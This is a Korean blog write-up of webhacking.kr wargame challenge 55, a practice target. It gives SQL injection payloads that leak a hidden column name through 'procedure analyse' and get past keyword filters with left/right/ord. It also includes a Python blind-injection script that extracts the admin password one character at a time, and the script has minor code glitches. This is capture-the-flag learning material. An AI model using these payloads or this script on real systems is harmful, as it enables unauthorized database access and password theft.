ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 55번 풀이
    Wargame/webhacking.kr (old) 2019. 5. 8. 23:23

    마우스를 움직일때마다 점수가 바뀐다. rank를 클릭해 순위를 보았다.

     

    1등의 점수를 눌러보니 get 방식으로 score가 전송되고, id와 score가 페이지에 출력되었다.

     

    나의 id 값을 출력하면 되는건가 싶어 이전 페이지의 게임에서 나온 나의 score를 입력하여

    나의 id를 출력하였으나,,, 아무런 반응이 없었다.

    (게임은 Chrome에서는 작동하지 않고 Internet Explorer에서 할 수 있다.)

     

    일단 소스를 보자.

     

    rank table은 ip, score, password로 구성되어 있다.

    password가 있는 것을 보니 관리자 계정의 password를 찾는 문제인 것 같다.

     

    관리자 계정의 id를 찾아보기로 하였다.

    존재하지 않는 score의 값을 입력해보았다.

     

    url?score=-1 or ip=0x(내아이디)

     

    나의 id와 score가 출력되었다. admin이라는 아이디가 있는지 알아보자.

     

    url?score=-1 or ip=0x61646d696e

     

    admin이라는 아이디는 존재하지 않는다.

    흠..

    관리자 계정의 id부터 찾아야하는데,,, 관리자 계정은 보통 가장 먼저 등록되어있다..!

    이를 이용하여 DB 테이블에 제일 첫 번째 값을 출력시켜보았다.

     

    url?score=-1 or true

     

    관리자 계정의 id는 관리자스러운 localhost이다.

    id를 알아냈으니 관리자계정의 password를 알아내보자.

    우선, 길이를 알아보았다.

     

    해당 쿼리문이 잘 작동하는지 확인하기 위해 무조건 참이되도록 입력해주었으나,

    아무런 값이 출력되지 않았다.

    Column명이 password가 아닌 것 같다.

     

    password의 Column명 부터 알아보기위해 information_schema를 이용해보았으나

    union, select, from이 필터링되어 있다.

     

    procedure analyse를 이용하여 알아보았다.

    3번째 Column인 password를 알아보기 위해 limit를 사용하였다.

     

    limit N

    첫 번째 부터 N개 만큼

    limit N,M

    N번째 부터 M개 만큼

     

    3번째 Column만을 출력하기 위해서는 2번째 부터 1개 만큼만 출력하면 된다.

     

    url?score=-1 limit 2,1 procedure analyse()

     

    password의 Column명은 pAsSw0RdzzzZ이다.

    이제 진짜 password의 길이를 알아낼 수 있다.

     

    url?score=-1 or ip=0x6c6f63616c686f7374 and length(pAsSw0RdzzzZ)=숫자

     

    길이를 알아낸 후 password를 한 글자씩 알아내야 한다.

    알아내는데 필요한 단어(substr, ascii...) 중 필터링된 문자열이 없는지 확인해보았다.

     

    [ 필터링 된 문자열 ]

    ascii, substr, substring, char, mid

     

    필터링 된 문자열을 우회하는 방법으로 right, left, ord, hex, binary 등이 있다.

     

    left("문자열", len)

    문자열의 왼쪽에서 len만큼 문자열 반환

     

    right("문자열", len)

    문자열의 오른쪽에서 len만큼 문자열 만환

     

    substr('password', 1, 1) == right(left('password',1),1)


    ?score=-1 or ip=0x6c6f63616c686f7374 and ord(right(left(pAsSw0RdzzzZ,1),1))=문자 아스키 값

    ?score=-1 or ip=0x6c6f63616c686f7374 and right(left(pAsSw0RdzzzZ,1),1)=문자 hex 값

     

    손으로 직접 찾는 것은 귀찮으니까 python을 이용하여 소스를 짰다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=54d09261c16a0e4f119dba34dc04f99a;'}
    url = "http://webhacking.kr/challenge/web/web-31/rank.php"
    
    piv = 0
    
    #Method of Find password
    def find_pw(start, end, n):
    	piv = (start+end) / 2
    	if piv==37 or piv==95: piv+1
    	else:
    		data = "?score=-1||ip=0x6c6f63616c686f7374%20and%20ord(right(left(pAsSw0RdzzzZ,"+str(n)+"),1))="+str(piv)
    		#data = "?score=-1||pAsSw0RdzzzZ%20like%200x"+(pw+chr(j)).encode("hex")+"25"
            r = requests.get(url+data,headers=headers)
    		
    		if r.text.find('id : localhost // 0') != -1: return chr(piv)
    		else:
    			data = "?score=-1||ord(right(left(pAsSw0RdzzzZ,"+str(n)+"),1))>"+str(piv)
    			r = requests.get(url+data,headers=headers)
    		
    			if r.text.find('id : localhost // 0') != -1: return find_pw(piv+1, end, n)
    			else: return find_pw(start, piv-1, n)
    
    #Find password length
    len = 0
    while True:
    	data = "?score=-1||ip=0x6c6f63616c686f7374%20and%20length(pAsSw0RdzzzZ)="+str(len)
    	r = requests.get(url+data,headers=headers)
    	if r.text.find('id : localhost // 0') != -1 :
    		break
    	len += 1
    print "------------------------------------------------"
    print "PASSWORD LEN : ",len
    print "------------------------------------------------"
    
    #Get password
    pw = ''
    for i in range(1,len+1):
    	pw += find_pw(33, 126, i)
    	print "found : ", pw
    print "------------------------------------------------"
    print "PASSWORD : ", pw
    print "------------------------------------------------"

    [ 실행 결과 ]

     

    localhost의 password는 challenge55clear~~kk 이다.

    알아낸 password를 Auth 페이지에 인증하면 문제가 풀린다.

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 57번 풀이  (0) 2019.05.09
    [Webhacking.kr] 56번 풀이  (0) 2019.05.09
    [Webhacking.kr] 55번 풀이  (0) 2019.05.08
    [Webhacking.kr] 54번 풀이  (0) 2019.05.08
    [Webhacking.kr] 53번 풀이  (0) 2019.05.08
    [Webhacking.kr] 52번 풀이  (0) 2019.05.08

    댓글 0

@Jo Grini's Blog